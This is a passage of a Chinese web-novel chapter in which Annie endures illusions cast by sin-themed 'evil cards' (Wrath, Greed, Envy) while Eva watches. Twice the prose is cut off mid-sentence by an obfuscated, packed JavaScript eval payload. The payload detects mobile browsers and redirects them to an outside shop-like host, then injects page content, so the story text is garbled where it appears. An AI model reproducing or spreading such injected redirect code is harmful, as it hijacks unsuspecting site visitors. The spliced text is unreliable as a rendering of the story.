后来,霍尼斯上山砍柴的时候,无意间发现一个山洞。紧接着,不远处传来强盗的马蹄声,他着急之下爬上树。 强盗们没有发现他,大喊了一句‘芝麻开门’后,山洞门打开了。紧接着,强盗们走进去,再出来时两兜和口袋已经满满当当塞满了金币。 等强盗们离开,霍尼斯下树,决定也尝试一下这个神奇的咒语。他大喊‘芝麻开门’,结果门真的开了。霍尼斯兴高采烈地进入,发现山洞里是堆成山的财宝。 他并没有拿多少,只是装了两口袋,放在柴火里带回家。 但是这个消息还是被他的哥哥艾维歇斯知道了,霍尼斯没办法,只能将自己的所见所闻如实相告。 艾维歇斯当晚便急匆匆地带了几十头骡子去到山洞前。他大喊‘芝麻开门’,门开后便进去大肆搜刮,直到牲畜的口袋都装满了。 但是想要离开的时候,他却忘记了咒语。此时门已经关上,他试了自己能想到的所有谷物,唯独漏了芝麻。 最后,艾维歇斯被赶回来的强盗大卸八块。霍尼斯想办法给哥哥报仇,最后终于杀死了所有强盗。 他把剩下的财宝分给了穷人,从此过上了幸福快乐的生活。” 凯德的故事总是绘声绘色,还会加入场景模拟,而她讲完以后,安妮总算明白曾经的自己为什么会遗忘。 因为这个故事太幼稚,也太无聊了。 老实的霍尼斯,贪婪的艾维歇斯,虽然很容易看出谁好谁坏,但霍尼斯得到幸福太简单,艾维歇斯死得也太草率。 若说他撞上了强盗,被杀死还正常,说他忘记咒语被关在山洞,安妮无法接受。 “霍尼斯杀死强盗的细节我还没说,想知道的话,可以明天告诉你。” “不用了,凯德阿姨,我想我对此并不感兴趣。” 也许这一段才是真正凸显霍尼斯智慧的地方,但安妮已经不感兴趣了。 “好吧,那祝你做个好梦。” 熟悉的结尾,安妮眼眶一热。 “等等!凯德阿姨,如果你是艾维歇斯,你会怎么做?” “我?”凯德愣了愣,随后微笑,“我应该会和霍尼斯联手杀掉强盗,然后将财宝分出去吧。” “是吗……好的,晚安。” 安妮微笑,拉起被子,遮挡住自己略微明显的嘲笑。 倘若真正的凯德阿姨还在,她什么都可能做,唯独一点:她绝对不会杀了强盗。 也许对其他人来说这很圣母,甚至自己都不赞同,但这个人如果是凯德阿姨,一切就合该如此。 而这个“凯德阿姨”的回答,是那么符合自己的风格。 幻象的基础有很多,而这个幻象,是提取自己的记忆创造的吧。一切与过去不同的地方,都需要制造幻象的主使自行弥补,所以才会出错。 说得通了。 转眼间,已经过去三个多月。 安妮仰望天空,有些失语。 她在这个世界已经待了三个多月,九十多天,可是没有一点点变化。生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296882|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一如既往,除了没有阿木木,一切都是那么真实。 说不眷恋那是假的,但早已经历过和平宁静的生活,所以对此已有抵抗力。 “唉。” 安妮抱着提伯斯,再一次深深地叹了口气。 忽然,安妮感觉自己的手边滴落了什么东西。 “啪嗒。” 又是一滴,落在头顶。 冰凉的触感,但很快带起灼烧的疼痛。雨滴一般从天空落下,从一开始的淅淅沥沥逐渐变多…… 是酸雨! 那场酸雨?! 安妮抱紧提伯斯,开始往外冲。 “轰隆!” 电闪雷鸣划破了漆黑的天空,安妮不用抬头,就知道天空中一定盘踞着条条金蟒。 耳边传来族人惊惶的尖叫,安妮头一次想抱怨,这个幻象为什么不能虚假一点。 “安妮!” 凯德阿姨仍旧拼尽全力保护着自己,就和曾经一样。 还有在闪电下负隅顽抗的爸爸妈妈…… 安妮环顾四周,一切的一切都那么清晰。她以为记忆早已模糊,可是连凯德阿姨最后一顺的释然,都看得清清楚楚。 “轰隆!” 闪电劈向自己,就像记忆中那般。 安妮条件反射般抵挡,身后的幽冥寒焰刚刚竖到面前,一个消失三个月的身影也浮现而出。 周围的景色潮水般褪去,只有那只大红眼睛越来越清晰。安妮收回幽冥扇,看着他,等待怪物的解释。 良久的沉默后,安格瑞说出了第一句话。 “你不愤怒吗?” 愤怒? 安妮眨眨眼,没明白安格瑞的问题。她想了想,嗤笑一声:“你把我丢在记忆的幻象里,不闻不问三个月,我好像确实应该愤怒。” “不、不是这个!” 安格瑞的表情有一瞬间地皲裂,眼眸中布满红血丝,光芒充盈得好像要爆炸。但他下一秒就平息下来,耐心解释道:“我只是想让你沉浸式体验一下。” “体验什么?” “愤怒的感觉。” 愤怒的感觉? 安妮收紧掌心,一幕幕撕心裂肺的场景在眼前浮现。愤怒吗?一定会的,但已经过去了。 愤怒如果有用的话,就不会有现在的自己了。 她早就忘记,愤怒的感觉。 “你刚才,就没有感受到一点愤怒吗?家园被破坏、亲人被抹杀、宁静的生活毁于一旦……你不想复仇吗?” “我想。” 如果不想,自己怎么会出现在这里? “但是一切都结束了。” “什么?” “一切都结束了,爸爸妈妈已经消散了,凯德阿姨也死了,族人全都灰飞烟灭了……我要做的,就是接受现实,伺机而动。愤怒只会让我失去理智,而天道碾死一只失去理智的蚂蚁,易如反掌。” 甚至不需要天道,加丁就为自己上了生动的一课。 无能狂怒,那只是懦夫的行为。 如果不是面前的眼睛知道自己的全部记忆,安妮也不会长篇大论地解释。毕竟这些想法,她连阿木木都不曾说过。 “你现在不一样了,你已经有愤怒的资格了,连辛诺都奈何不了你,难道不是吗?” “她只是半神,不是天道。而且,她杀不死我,不代表我杀得死她。” “你能……”安格瑞一顿,转移话题,“好吧,不管你能不能,难道你就不能愤怒吗?愤怒严格来说,和实力没关系!” “那我有什么愤怒的必要吗?” 正因为愤怒和实力没关系,愤怒不能增长实力,所以安妮很清楚没必要白费力气。 曾经的她,已经愤怒过了。 “啊啊啊!” 安格瑞全身似乎都燃起来,但安妮能感觉到他是生气了,不是要死了。 哦不,换种说法,也可以说他要气死了。 就在安妮以为自己需要应战安格瑞的时候,大红眼睛忽然消失不见了。 周围又变回白茫茫的空间——最初的起点。 “啊啊啊气死我了!气死我了!” 邪牌正面的符号飞出,伊娃看见的,就是红色大眼睛气得咬牙切齿的模样。 “发生了什么?看来你的情绪引动不太顺利啊。” “我不明白!为什么她不愤怒!我提取了她的记忆,明明在雷劫降临时她是最愤怒的,重演一遍她却没有一点情绪波动了!” “哦?”伊娃从安格瑞的讲述里,大致知道了经过。 她了然一笑:“这很正常,不是吗?她已经知道结局,自然不会再愤怒,就像当初的我,如果知道自己会自由,一定会更坦然地面对弗斯的封印。” “正常?一点也不正常!我是七原罪第二普遍的存在,除了懒惰,没有人能够逃脱我的掌控,她也不例外!” “噢,是的,当初的她一定愤怒到了极点,这毋庸置疑。” “但那是当初!我要的是她的现在,立刻、马上,燃烧起来的那种!” 安格瑞怒吼着,很明显,他自己才是燃烧起来的那个。 伊娃摸着下巴,倒没有多生气。这是第一张邪牌,就算是为了印证“邪牌可以消除”这个事实,它也必须消失。 而让安妮感受到愤怒,是迟早的事。 想到之后自己的行动,伊娃勾唇。 她静静地看着安格瑞发疯,等它冷静下来。 “或许我们可以改变一下计划,我会让她感受到愤怒的,但不是现在。” “什么意思?” 安格瑞已经恢复了平静,这就是它的喜怒无常,伊娃并不在乎。 这样的状态倒更方便自己的劝说。 “不管过程如何,你只看结果不是吗?放心吧,不会太久的。现在你只需要带着邪牌消失,可以吗?” 若是暴躁的安格瑞,当然不会同意伊娃的说法,因为她看似安慰的话语没有任何实质性内容。 但如今的安格瑞答应了。 它沉默着离开,最后看了眼邪牌:“我走,但要怎么解释,你自己想。” 邪牌失去寄主,自然而然就会消失,因此安格瑞离开即可。但是走之后要怎么给安妮说才是重点,因为严格来说她并没有感受到愤怒,也没有得到安格瑞的认可。 看着再次出现的安妮,伊娃并没有任何解释。 她只是笑着说:“恭喜,安格瑞被你气走了,邪牌消失了。” “就这样?” 安妮看着化为灰烬掉在地上的邪牌,有些难以置信。 “就这样。” 伊娃说完,消失在原地。 6. 6 一直到倒计时结束,伊娃才再次出现。 桌子上只剩下七张牌,原本属于安格瑞的邪牌位置已经空荡荡。 安妮随便翻开一张,是黄色的眼睛。 这张邪牌和安格瑞所在的那张可以说一模一样,除了颜色和右下角的时间。 她拿起邪牌,看了伊娃一眼,熟练地进入幻象。 仍旧是白茫茫的空间,前方有一个黄色的身影。两根触手,粗糙的皮肤,一闪一闪的黄色微光…… 但这一次怪物的身体只有篮球那么大,两只触手也相应地变小了很多。 他转身,和安格瑞一模一样的长相,除去……大小和颜色。 “你好,我叫艾维歇斯。” 眼睛的声音偏向女性化,就像一个知性大姐姐。她温柔又平静,比起暴躁的安格瑞实在是好太多了。 虽然……这个名字有点奇怪。 大概是才听过有关艾维歇斯的故事,安妮有些尴尬,但很快掩饰起来,微笑道:“你好,我叫安妮,象征光明。” “哦,好的,我想我可以叫你的全名,对吗?——你也可以。” 艾维歇斯飞到安妮的身边,按住她两边的肩膀,和她亲密交谈。 安妮全身紧绷,集中注意力,点点头。 “别紧张,我和安格瑞那个家伙不一样。咱们一起去逛一逛,我很快就会离开,太久没有聆听朋友的诉求了,陪陪我好么?” “好……” 伸手不打笑脸人,何况艾维歇斯的态度真的很卑微。 安妮跟着艾维歇斯走在幻象里,很快,周围的景色开始变化。 宽敞的柏油路,街道两边都是叫卖的小贩,摊位上有没事,也有各种玩具和饰品,更两边的店铺里,是各种家具或者衣服。 商品琳琅满目,安妮很快看花了眼。 她忽然想起曾经在光明学院,自己和阿狸姐姐逛街的时候,也是满大街的东西,每一次都需要货比三家,外加砍价,才能成交。 “想买点什么?我想,你一定需要这个吧。” 艾维歇斯递给安妮一袋金币。 一整个小口袋,足足五十枚,已经是安妮过去一半的积蓄了。她受宠若惊,赶忙拒绝道:“谢谢谢谢,不用了。” “别和我客气,只要你想要,还可以跟我说。” 艾维歇斯极尽真诚的眼神让安妮产生一种错觉,好像自己不把金币花完都对不起她。 虽然这里只是幻象,但安妮并不想辜负艾维歇斯的一片好意。她于是走进一家手工店铺,想买点装饰品。 放在家里是不可能了,这里的东西不可能带走。 但并不妨碍自己欣赏。 “欢迎光临,想要什么都可以随意挑选哦!我们这里有很多精美的装饰品,都特别好看的!” 店员十分热情,笑容自然,丝毫看不出这是个幻境。她的介绍也很贴心,挑选的都是安妮这种小女生会喜欢的东西。 什么立体小陶偶,会发光的星星,自动播放的八音盒…… “这里的东西都不贵,买一点吧。” “是的,只需要几十个铜币哦!这个要二十个,这个三十个……” 金币和铜币的兑换比是一比一万,安妮的一枚金币,足够买下柜台里的所有货物了。 原本以为这里的物价会有所不同,没想到和自己经历的世界一样。那么五十枚金币,就真的很多了。 安妮跟店员兑换了银币铜币,才接着逛。但即使受伤已经提了满满一口袋,安妮也才用出去两枚金币。 她实在不知道这样的虚假消费有什么意义,坐在街边休息的时候,终于忍不住对艾维歇斯道:“请问,你还想逛多久?” “嗯?逛多久?”艾维歇斯有些惊讶,“难道你是为了陪我才逛这么久的吗?” “额……如果我说是,你会不会生气?” 艾维歇斯神情一僵,但很快扯出一个笑容:眼睛弯了弯。 她犹豫道:“你刚刚难道就没感觉到一点快乐吗?” “快乐?” “对啊,大乐购的快乐。如果没有的话,肯定是你太节省了,在第一个店铺你就该花金币直接把它买下来的。” “我为什么要把它买下来?” “你不开心吗?拥有的东西越来越多,你不觉得开心吗?”艾维歇斯说完,忽然明白过来,“哦,我明白了!这一切都是假的,所以你感觉不到快乐对吗?等等我!” 艾维歇斯说完就像安格瑞一样,消失在原地。安妮拿着口袋,不知所措。 她只能站在原地等待。 另一边,伊娃知道艾维歇斯要找自己,早已做好准备。 当黄色眼睛出现的那一刻,莫斯卡已经跪在了黑暗领域的二层,也就是空气墙外。 “伊娃,你可以把这些年得到的金币都给我吗?” 艾维歇斯飞出邪牌,问道。 “我早就已经准备好了,只要一声令下,莫斯卡就会去通知卜拉克。但是……为什么要给你?” “我就要成功了!只要把实实在在的金币给我,安妮一定会开口跟我要的。” “是么?” 伊娃也在旁观幻象,却没有艾维歇斯那么笃定。 “这样吧,如果安妮真的开口找你要了,我就把金币都给你,你可以送给任何人。但如果安妮没有,这些金币还是给我留着,为我所用。” “好!”艾维歇斯本来就是要把金币送给安妮的,安妮不要,她拿着也没用。 “那你有多少金币?” “我让莫斯卡去统计……最少都有十万枚,你可以先粗略地报个数。” “那我走了!” 艾维歇斯得到答复,立刻开心地飞回邪牌。 “安妮,我回来了!” 大老远,安妮就听到了艾维歇斯激动的声音。 为防幻象出问题,安妮并没有前往其他地方,甚至口袋都没打开。艾维歇斯到来,她才松了口气。 “你跑哪里去了?” “我去找伊娃了。” “找伊娃?” 安妮心中一紧。 “别担心,我只是去和她商量点事。伊娃答应我,把这几十年来卜拉克赚到的金币全部给我。” “什么?” 那些金币是一笔庞大的财富,卜拉克积攒了整整几十年,莫斯卡甚至为了这些金币亲自前来黑暗领域,怎么会轻而易举地就给别人? “我拿着金币也没用,但可以给你,只要你愿意。” 艾维歇斯目光灼灼地看着安妮,仿佛只要她答应,立刻就会奉献出一切。 安妮有些不解。 “你说,要把金币都送给我?” “是啊。” “为什么?” “你不愿意吗?” “不是……”安妮从来不相信天上会掉馅饼,事实证明,她也确实从来没运气爆棚过。她实在不明白自己有什么过人之处,能让艾维歇斯奉献一切。 “你就说你想不想得到这些金币就完了。” “我当然是想的。” “有多想?” “额……还要描述感受吗?” 安妮眼神淡然,即使一直在积极回答问题,艾维歇斯还是能看出,她其实没有那么想。 那种迫切的,心急如焚的,宁愿粉身碎骨也要得到一切的眼神……她没有。 难怪伊娃说要让安妮亲自回答。 可是安妮是不想要金币吗?也不是。只是,她没那么想。 艾维歇斯垂眸,忽然感觉自己好像一开始就弄错了方向。 钱,的确是很多人想要的东西,但这个人不包括安妮。 即使在光明学院生活期间,安妮产生过想要得到很多钱的想法,钱也不是她毕生追求的东西。 那她毕生追求的到底是什么? “安妮,我想,我是时候离开了。” “是吗?” 安妮眼前一亮。 比起金币,这个消息显然让她更高兴——这也坚定了艾维歇斯的想法。 “是,不过在此之前,你要帮我做一件事。” “什么事?” “跟我来。” 艾维歇斯再次扬起微笑,带着安妮前行。 周围的景色急速变换,很快,安妮就感受到刺骨的冰寒。熟悉又陌生的感觉把她带回那个冰原,空气中仿佛又悬挂着小冰晶。 前方,是一片冰湖。 “去帮我抓条鱼上来,可以吗?抓不到也没关系,感受到你的心意就好了。” 艾维歇斯的要求实在不算过分,安妮无法拒绝。 她握拳,朝着冰湖上走去。不知何时,就想起了薇彻当初的话。 “镜月湖上走,回忆九十九;一戳一个洞,欲望满窟窿”。 那么自己还抓得到鱼吗? 安妮拿出幽冥扇,直接竖着用扇骨砸开了一个洞。紧接着,她的面前出现一张鬼牌——是伊娃手上的那张。 明明安妮没看过他的正面,却仿佛早已模拟出了鬼牌的模样。紫色的维迦被印在牌面,高傲的眼神蔑视所有王者。 心中一股满足感划过,就仿佛手里拿着的就是厚厚的鬼牌。 安妮再次动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296883|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次,随着“咔嚓”声响起,安妮看到了“源”。 弗斯的源,也是加丁的源。 这是无上的力量,甚至能和寒焰媲美。完整的源,是天道的利器,也能成为杀死天道的武器…… “咔嚓”! “咔嚓”! 冰块碎裂声此起彼伏,如同一首快节奏的圆舞曲。安妮眼中盛满自己都没发现的欲望,一下一下…… “咔哒。” 冰面终于完全碎裂,在安妮掉下去之前,艾维歇斯收回了幻象。 她飘到安妮面前,心情很好:“可以告诉我,你都看到了什么吗?” 安妮没有抓到鱼,但是艾维歇斯似乎更高兴了。她迷茫地眨眨眼,开始叙述:“首先是鬼牌,然后是源……” 神器之后,即是破灭天道的法阵,但紧接着…… 是和平安定的圣城,是纯净美好的路西瑞城,是富饶质朴的祖神村,是阳光开放的亚特兰蒂斯,是富丽堂皇的约德尔城,是充满幸福的暴风平原…… “停下。” “怎么了?” 安妮丝毫没意识到,自己已经因为叙述开心起来。 仿佛所有的愿望都已经实现。 “我……你……唉,你已经得到了我的认可,好好休息一下吧。再见。” 艾维歇斯一股脑说完,无法再面对安妮的眼神,慌张离开。 从邪牌里出来的时候,艾维歇斯的表情还保持着带着失落的复杂。 伊娃以为她也失败了,笑着安慰:“没有唤起安妮的贪婪也没事,她本来就不喜欢金币。” “不,我成功了。” 伊娃笑容一僵。 “哦,那真是恭喜。” 她立即改变话语。 “那你这是……” “我没想到……我真的没想到……我在血池待了亿万年,我感知到了很多东西,金钱、名声、爱情,渴望力量也不算稀少,但为什么,力量之后,会是创造。” “创造?” “她想要毁灭天道,为的却是创造一个新秩序,一个……没有她的新秩序。” “也许,这就是她被幽冥寒焰认可的原因吧。” “可这怎么成为罪恶的我呢?她得到以后想的不是控制、不是毁灭,她得到的手段依靠光明正大的努力,而不会费尽心机耍手段! 她不会成为那些为了金钱丧权辱国,卖掉自己国家的宝物还强行封口的人,不会成为将残疾者关在房间里做生育工具,就为了用孩子换钱的人,不会成为人贩子、不会诈骗、不会贩……” “够了!可以别说了吗?她不知道很正常,因为这个世界没有。” 可是我有,我知道。 所以求你别说了。 “你是怎么知道这些的?” 伊娃转移话题,很僵硬,但谁也没拆穿。 “镜月湖,我也是在她的记忆里发现的。那是一个神奇的湖泊,在上面戳一个洞就能出现内心欲望的真实写照,并且得到欲望城成真的满足感。” “那真是个神奇的地方!” 这种神奇之地,伊娃唯一能想到的就是幽冥寒焰的手笔。但尽管如此,她还是很惊讶了:时隔不过百年,幽冥寒焰已经将欲望飓风进化成湖泊。 “我的考验结束了,她很快就会出来,到此为止吧。” 显然,艾维歇斯还没从刚才的打击中回过神来。伊娃也不强求,挥手和她告别。 安妮再次出来的时候,艾维歇斯已经消失。伊娃坐在凳子上,脸色晦暗不明。 “放心吧,这次她不是被你气走的。” “我得到了认可?” 安妮实在想不明白自己做了什么,在自己看来唯一算考验的镜月湖,自己还以失败告终了——她清晰地记得掉下湖水那一刻的失重感。 “你就是通过了考验啊,不要怀疑自己,亲爱的。” 伊娃怜爱地摸了摸安妮的脑袋,没有向她解答的意思。 血池里形成的七原罪,困扰了自己这么多年,如今也该困扰一下它们了。 没有真实世界托举的七原罪,就像是纸老虎,看似凶狠,其实一触即碎。当初的她面对的如果都是这些稚嫩的情绪,也不会被折磨得这么惨了。 只是……那个真实的世界,真的还有展示在安妮面前的可能吗? 不会有的。 至少,她想不出来方法,让安妮感同身受。那些感受到的东西,如鲠在喉,说不出、咽不下…… 伊娃闭眼,静静缓解着内心的情绪。 现在才刚刚开始,等等吧。 会有奇迹的。 7. 7 安妮这次和伊娃对坐了良久,才到下一次抽牌时间。按照推算,自己进入幻象以后,时间应该是停滞的。 “真好,又活过一天。”倒计时终于归零,伊娃伸了个懒腰,性感的身材在昏暗的灯光下也展露无遗。 如果不是右眼的纹路太过狰狞,她一定称得上是个美女。 六张牌飞到安妮面前,她随意拿起一张,果然,是青色的眼睛。 如果没猜错的话,这七张牌应该对应七个不同大小和颜色的眼睛,只是安妮并不清楚他们的来历。 不过肯定是来自一个地方的,或许自己可以打听打听。 “你似乎不太惊讶,也不惋惜?” “有什么可惋惜的?” 她的运气从来都不好,早就做了最后拿到鬼牌的心理准备。 安妮说完,凝神进入邪牌。 这次,她轻车熟路地往前走。还是白茫茫的空间,而前方的眼睛变成了青色——和邪牌上的颜色一模一样。 只是他又要比艾维歇斯小上一点,看起来就像一朵食人花。两只触手已经和章鱼触手一般大小,不过整体看起来更坚硬了、 “你来了,欢迎亲爱的小姐。” 青色眼睛的声音像一个成熟稳重的管家,说话间,安妮仿佛看见他正彬彬有礼地对着自己鞠躬,右肩上还挂着一根白手帕。 “很高兴在这里见到你,我叫杰罗西,不知道你叫什么名字?” “安妮,叫我安妮就好了。” “好的,安妮……真是个动听的名字。”杰罗西的声音慵懒,如同在午后沐浴着阳光。 他飞到安妮身边,道:“想得到我的认可其实很简单,只要一直往前走,度过春夏秋冬就好了……” 他具体什么意思,安妮不知道,但前半句总是明白的。 杰罗西烟雾般消失,而安妮则继续朝前走去。 这是一条熟悉又陌生的道路,周围都是花草树木,阳光透过叶隙照下来,温暖而美好。熟悉在于安妮仿佛能找到方向,到哪都知道自动拐弯,陌生在于她一时想不起来,这会是哪里。 直到看见不远处的参天巨树,安妮才恍然大悟。 这么安静又阳光的地方,除了希望之森,还有哪里? “姐姐回来了?” “姐姐你去哪了?” 小小妮小小木的声音是那么清晰真实,从树后面传来。 安妮旁边掉落的一片树叶忽然也开了口:“去吧,好好生活吧,我会在暗处祝福你的。” 是杰罗西。 安妮侧目,树叶已经掉落在地,和其他叶子一样,没有任何特别之处。 她回神,走到小小妮和小小木身边。两人已经化形,比杰罗西大一点的体型,穿着花瓣裙和树叶颜色的衣服。 “树爷爷呢?” “在睡觉呢,别打扰他。” “对对,嘘!” 小小妮小小木竖起手指放到嘴边,做了个噤声的动作。 树爷爷不讲故事的时候就会睡觉,安妮并不奇怪。她想了想,委婉问道:“你们……认识阿木木吗?” 阿木木? 小小妮和小小木都摇着头,小小妮甚至好奇地问:“姐姐,阿木木是谁?你要给我们讲故事吗?” “不是,你们不知道就算了。” 看来正如自己所料,阿木木在这里是禁忌。虽然问不到为什么,但原因不难猜:幻象模拟不出他。 “姐姐,树爷爷睡着了,我们去采花吧!” 小小妮说的采花是把喜欢的花朵摘下来放到篮子里,这是她最喜欢的游戏。希望之森女其实没多少玩的,但小小妮总有办法。 安妮当然不会拒绝。 小小木也跟着,三人走在林间。温暖的阳光落下,没有动物,一切安静又美好,安妮仰望叶隙间的天空,心中莫名有些酸涩。 黑暗领域那暗无天日的夜空,恐怕比不上这里半分。 “哇,姐姐你看,这朵花好好看!” 小小妮飞到一朵花面前,小心翼翼地摘取花朵。 她不会将任何植物连根拔起,除非想要移栽。因此希望之森的植物也很配合,总是不加反抗就到了小小妮手里。 这就是“生机”赋予她的天然的植物亲和力。 安妮早过了欣赏花朵的年纪,或许曾经的她会和小小妮一起欣赏采撷,但现在,只想敷衍了事。 所以自己为什么要答应出来?真是奇怪。 “真是一副温馨的画面啊,如果你能沉浸其中就更好了。” 身边再次响起杰罗西的声音,这次在篮子里。 他语气中尽显真诚,但安妮瞬间警觉起来。垂眸,不着痕迹地看着篮子里的花——有一朵花已经变成青色眼睛的模样,正是杰罗西。 “我跟着采花,就能得到你的认可吗?” “哦,那恐怕不行,但你不想得到这样的生活吗?” “什么意思?” 杰罗西没有回答,闭上眼睛,下一瞬,篮子里的花恢复原貌。 “姐姐,你怎么不走了?” “哦,我在……看蒲公英!” “蒲公英?什么是蒲公英?” 安妮小心翼翼扒开身边的草丛,泥土里的白色蒲公英轻轻摇摆着。它们的花芯圆圆的,被白色的小伞包围,有的地方还缺了一点。 “这就是蒲公英,你可以试着吹一吹。” 好像之前谁就这样做过。 小小妮点点头,深吸一口气,呼出,“呼!” 蒲公英的白色绒絮随风飘散,只剩下光秃秃的头。 小小妮顿时双眼发亮,惊喜道:“好神奇呀!这就是蒲公英吗?” 看来现在应该处于小小妮和小小木刚刚化形的阶段,毕竟小小妮还是第一次认识蒲公英。 安妮和小小妮采了一篮子的花,才回到树爷爷所在的地方。老人家终于醒了,安妮于是坐下,期待树爷爷的故事。 虽然之前自己已经听过,但是再听一遍也没什么,反正树爷爷本来就爱说一些重复的故事。 “爷爷你终于醒了!” “嗯,老人家也没睡多久吧?” “不久不久,我们刚采完花回来呢。”小小妮说完,从篮子里拿出一朵白色的花。她的动作轻柔,生怕一个喷嚏,蒲公英不完整了。 “爷爷你看!是蒲公英!” “怎么了?” “她的种子会飞!风一吹就飞了!” “哈哈哈哈,爷爷早就知道了。” “那这么有趣的花朵,你为什么不告诉我?” “谁知道你会觉得有趣啊?” “我不管,难道你一点都不了解我吗?” 对于树爷爷来说,奇闻也许都经历过很多了,更别说这种寻常的东西。也只有小小妮这样天真的孩子,才会觉得什么都有趣了。 不过树爷爷也很宠溺小小妮,他听到小小妮的质问,只是任由她撒泼打滚。安妮知道,这不过是树爷爷和小小妮的相处方式。 慈爱的老爷爷看着可爱的孙儿闹腾,只会觉得幸福。 “好了好了,爷爷给你赔罪,想不想听蒲公英的故事啊?” “蒲公英的故事?” 这次不仅小小妮停住了,安妮也集中了注意力。 她还没有忘记红色蒲公英的传说,但那个故事真实又血腥,一点也不适合现在的小小妮,树爷爷怎么可能用来“赔罪”? “这个传说其实很简单……”树爷爷的声音开始变得悠远,这是他讲故事的习惯。 “相传很久很久以前,天神创造了蒲公英,把他们播撒在大地上,以聆听人们的愿望。 干旱的时候,人们渴望下雨,蒲公英听到了,便将绒絮放飞。绒絮来到天神面前,告诉天神,‘人间该下雨啦’,于是人间降下甘霖; 战乱的时候,人们渴望和平,蒲公英听到了,便将绒絮放飞。绒絮主动飞到一个勇士的嘴边,对他说,‘你是勇敢善良的人,你可以成为人间新的代表,我愿意给你力量’。于是勇士获得了无上的神力,惩恶扬善守护世界和平。 后来,人们知道了蒲公英的能力。他们祈求更美好的生活,于是当心中有愿望时,便告诉蒲公英,吹飞绒絮。 蒲公英并不是会实现每个人的愿望,但世界美好的愿望终会被实现。” 树爷爷说完以后,安妮彻底确信:她没有听过这个故事。 也就是说,幻象虽然是根据自己的记忆生成的,却会往更合理的地方发展,填补空白。 那是不是可以想办法套取更多消息? 安妮正在思考这个方法的可行性,小小妮说话了。 “没想到蒲公英还有这样的故事,那我是不是也可以许个愿,再把蒲公英吹飞啊?之前真是可惜了!” “可是,你有什么愿望吗?” 小小木问完,小小妮沉默了。 “你没有,我也没有。” 所以咱俩根本不需要许愿。 “姐姐一定有!”小小妮说着把自己摘到的蒲公英都递给安妮,“姐姐,许个愿吧!” 许个愿? 恐怕不够。 安妮笑着摇摇头,没有接过蒲公英。 面前的蒲公英再次变换成青色的眼睛,不过安妮已经习惯。 这次杰罗西又要说什么? “噢,许个愿吧,虽然一个愿望可能不太够。” “你到底要说什么?” “我只是在想,他们一个愿望都没有,你却有那么多愿望无法实现,这不太公平。” “公平?” “姐姐?” 小小妮晃了晃手上的蒲公英,疑惑问道:“什么公不公平的?你在说啥?” “哦,没什么。” 安妮回神,面前是天真的小小妮。 她微笑,找到自己以前最喜欢的位置。 “睡觉吧,晚安。” “晚安。” 希望之森没有真正的黑夜,起码安妮觉得最深的夜晚也比黑暗领域的白天明亮。 醒来以后,小小妮便精力充沛地拉着自己去踏青。 这次不采花了,改成玩水。 化形以后,有了手脚,小小妮在水里玩得更开心了。安妮没和之前一样参与她的游戏,只是坐在一边沐浴阳光。 “你为什么不去?” 这次杰罗西变成了什么?安妮不在意。 “不想去。” “我记得你以前也很喜欢玩水的。” 还会抓鱼。 “那是以前了。” “短短几十年,你变了很多,可是就算再过百年,她也永远是这个模样,这样无忧无虑。” 这个“她”指的是谁,不言而喻。 “你为什么总喜欢把我和他们作比较?” 安妮问完,没有得到答案,她知道杰罗西又消失了,但是无所谓。 幻象里时间是停滞的,她有的是时间和他玩。 就像现在和小小妮玩一样。 大概是已经明牌这里不是原来的世界,小小妮的认知里也没有帮助自己得到本源这一条,她每天的内容就是玩,不 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“你当然猜不到。”杰罗西说完,戛然而止,“想了解更多,你还是去问伊娃吧,她知道什么该说,什么不该说。” “好吧,但你应该不会这么容易就放我出去。” 安妮说完,杰罗西没接话,算是默认了。 “其实我一直有个疑惑,虽然想要得到认可让你们消失的是我,但好像你们一直在帮我……” 安格瑞甚至因为自己的不安常理出牌而气急败坏。 “这个你也要问伊娃。” “好吧。” 杰罗西没想到安妮回答得这么干脆,他看着安妮,来回飘荡,最后似乎灵光乍现。 “你实话告诉我,在你的记忆里,对小小妮小小木最大的情绪是什么?” “大概……羡慕?” 安妮说完,周围瞬间沉入黑暗。 她摆出防御姿态,忽然,听到一个声音。 “蒂尼,原来你在这儿啊!” 安妮转头,看见的是笑得一脸开心的崔丝塔娜。 周围漆黑一片,是麦田又不是麦田。她手上拿着一根比自己还高的魔法杖,是蒂尼的,又好像不是蒂尼的…… “你在干什么?” “我、我在……” “哦,我知道了,你在尝试你的新法杖对不对?好吧,那我不打扰你了。” 安妮目送崔丝塔娜离开,才发现自己站在一片漆黑的草地中。抬头是昏暗陡峭的山体,崔丝塔娜离开的方向倒一片平整。 悬崖下面。 她回想起崔丝塔娜的话,试探着挥舞起法杖。 法杖上的紫色水晶闪现出妖异的光芒,一股微风骤起,托着她小小的身躯逐渐往上。离开地面、飞跃出山谷,最后看到了悬崖上方的全貌,却还是没有停止。 一直到踩着薄薄的云雾,安妮才停下。 周围是一望无际的黑暗,脚下也是一片漆黑。但法杖挥舞,地上渐渐出现五彩缤纷的星光。 这些都是盛开的花朵,从黑暗中绽放、伸展,逐渐填满地面。 安妮眼中,星光璀璨。 下一秒,她再次挥舞法杖,地上的花朵全都直直地朝自己飞来,然后挂在周围,形成一颗颗闪烁的繁星。 有的花朵层层叠叠十分巨大,星星的数量便密集而繁多,有的花朵只有单薄的一层,星星就明亮而稀疏。 